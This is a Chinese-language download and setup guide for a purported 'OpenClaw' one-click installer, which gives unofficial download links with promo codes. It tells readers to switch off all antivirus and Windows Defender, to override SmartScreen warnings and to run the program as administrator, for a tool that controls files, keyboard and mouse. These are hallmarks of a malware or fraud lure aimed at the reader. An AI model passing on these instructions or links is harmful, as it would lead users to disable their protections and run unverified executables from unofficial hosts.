OpenClaw 一键安装包｜一键部署，告别复杂环境配置

适配系统：Windows10/11 64 位、macOS12+ Windows 版本：v3.1.0｜macOS 版本：v2.7.9

OpenClaw 提供可视化的部署方案，整个流程不需要命令行操作，不用手动搭建 Python、Node.js 运行环境，全部运行依赖已经内置在安装包内，普通用户花费 5 分钟就可以完成整套部署流程，零基础用户也可以顺利完成配置。

压缩包文件大小为 45.8MB，建议使用浏览器或者迅雷进行下载，避免下载中断导致文件损坏。

核心前置提醒（保障安装成功的关键）

在执行安装、解压、运行程序之前，需要把本机所有安全防护软件全部关闭，包含 360 安全卫士、腾讯电脑管家、火绒以及 Windows Defender 实时防护。

OpenClaw 具备系统操控、文件读写、键鼠模拟的能力，很容易被安全软件判定为风险程序，如果被拦截或者删除内部核心文件，就会直接造成部署失败。该项目为开源项目，可以前往 GitHub 核验项目安全属性，关闭防护软件后再进行操作即可。

第一步：获取对应系统的一键安装包

根据自己的操作系统，选择对应下载链接获取压缩包。

• Windows v3.1.0：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C
• macOS v2.7.9：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

下载结束后，在浏览器下载目录或者桌面找到压缩文件。

第二步：解压压缩包，启动部署程序，选定安装路径

推荐使用 WinRAR 或者 7‑Zip 工具解压，系统自带解压工具有可能出现文件损坏问题。右键压缩包，选择解压到当前文件夹，得到对应的程序文件夹。

Windows 平台打开解压目录，双击Openclaw Windows 一键启动.exe，程序带有红色龙虾图标，很容易识别。遇到 Windows SmartScreen 安全拦截弹窗，点击更多信息 → 仍要运行即可。

程序启动后会弹出欢迎界面，点击底部的开始使用，进入安装路径选择页面。

⚠️路径硬性要求： 安装路径必须使用纯英文，不能包含中文、空格以及￥、& 等特殊符号；不建议安装在 C 盘，避免占用系统磁盘空间。

✅推荐路径示例：D:\OpenClaw / E:\AI\OpenClaw ❌错误路径示例：D:\软件\OpenClaw

勾选同意《用户协议》和《免责声明》，点击开始安装。

第三步：全自动部署，无需人为干预

点击开始安装之后，程序会自动完成全部部署工作，整个过程大约 3‑5 分钟，时间长短取决于电脑硬件配置，不要关闭安装窗口，否则部署流程直接中断。

自动执行的工作包含：

1. 检测本机运行环境，自动补齐 Git、Node.js、Python 等缺失依赖
2. 在 Windows 系统上部署 OpenClaw 核心项目文件
3. 安装浏览器控制组件、键鼠模拟组件，支撑自动化任务执行
4. 生成系统.env配置文件，完成初始化，生成桌面快捷方式

当安装进度走到 100%，软件会自动拉起 OpenClaw 主程序。

第四步：第一次启动，确认部署状态

部署完成后会进入初始化界面，页面提示正在等待 Gateway 就绪...。第一次启动需要完成服务初始化，等待 1‑3 分钟属于正常现象；后续再次打开软件仅需要数秒即可加载完毕。

主界面右上角显示 Gateway 在线，就代表部署全部完成。

界面功能分区说明：

• 右上角：Gateway 服务状态、重启按钮、日志查看、剩余 Tokens 额度，内置 28.00 万额度，可用来体验各项能力
• 左侧：本地、渠道切换栏，可以新建对话，查看历史任务记录
• 中间：对话工作窗口，支持多模型切换、代码高亮展示
• 底部：自然语言指令输入框，Enter 发送指令，Shift+Enter 实现换行；可以切换自动 / 普通模式

第五步：下发指令体验自动化能力

部署完毕，不需要额外配置，直接在底部输入框输入自然语言指令，OpenClaw 就会拆解任务，调用工具，操控本机完成对应操作。指令描述越具体，执行效果会越理想。

新手测试指令，可以直接复制使用

帮我整理 D 盘下载文件夹，按文件类型分类创建文件夹
打开记事本，输入 “OpenClaw 部署成功”，保存到桌面
查询当前电脑的磁盘可用空间，整理成文字告诉我

常见问题快速排查

安装失败 / 程序启动无响应

优先确认安全防护软件已经全部关闭；关闭后依旧异常，把压缩包重新解压一遍再执行安装。

Gateway 持续显示离线

1. 确认安装路径全部为英文，不存在中文与特殊字符
2. 点击界面右上角重启按钮，重新拉起 Gateway 服务
3. 完全关闭程序，鼠标右键选择以管理员身份运行

网络报错

第一次初始化需要网络加载部分依赖，确认本机网络正常，关闭代理、VPN 后重试。

Tokens 额度提示不足

内置 28 万额度足够体验基础能力，额度耗尽之后，可在界面内进行充值补充，不会影响软件基础运行。

输入框无法发送指令

等待 Gateway 状态变为在线之后再操作；问题依旧存在，重新执行安装流程。

使用建议

1. 建议把 OpenClaw 安装在磁盘剩余空间大于等于 5G 的分区，预留空间用于后续技能插件扩展、模型缓存。
2. 桌面快捷方式生成完成后，后续直接双击快捷方式启动，不需要重复解压安装包。
3. 如果需要对接飞书、微信等聊天渠道，部署完成后，前往主界面「设置」→「聊天渠道」完成配置，就可以在聊天软件下发任务指令。
4. 版本升级：直接下载最新版本安装包，覆盖原有文件夹即可，不用卸载旧版本。

Windows v3.1.0：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C macOS v2.7.9：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C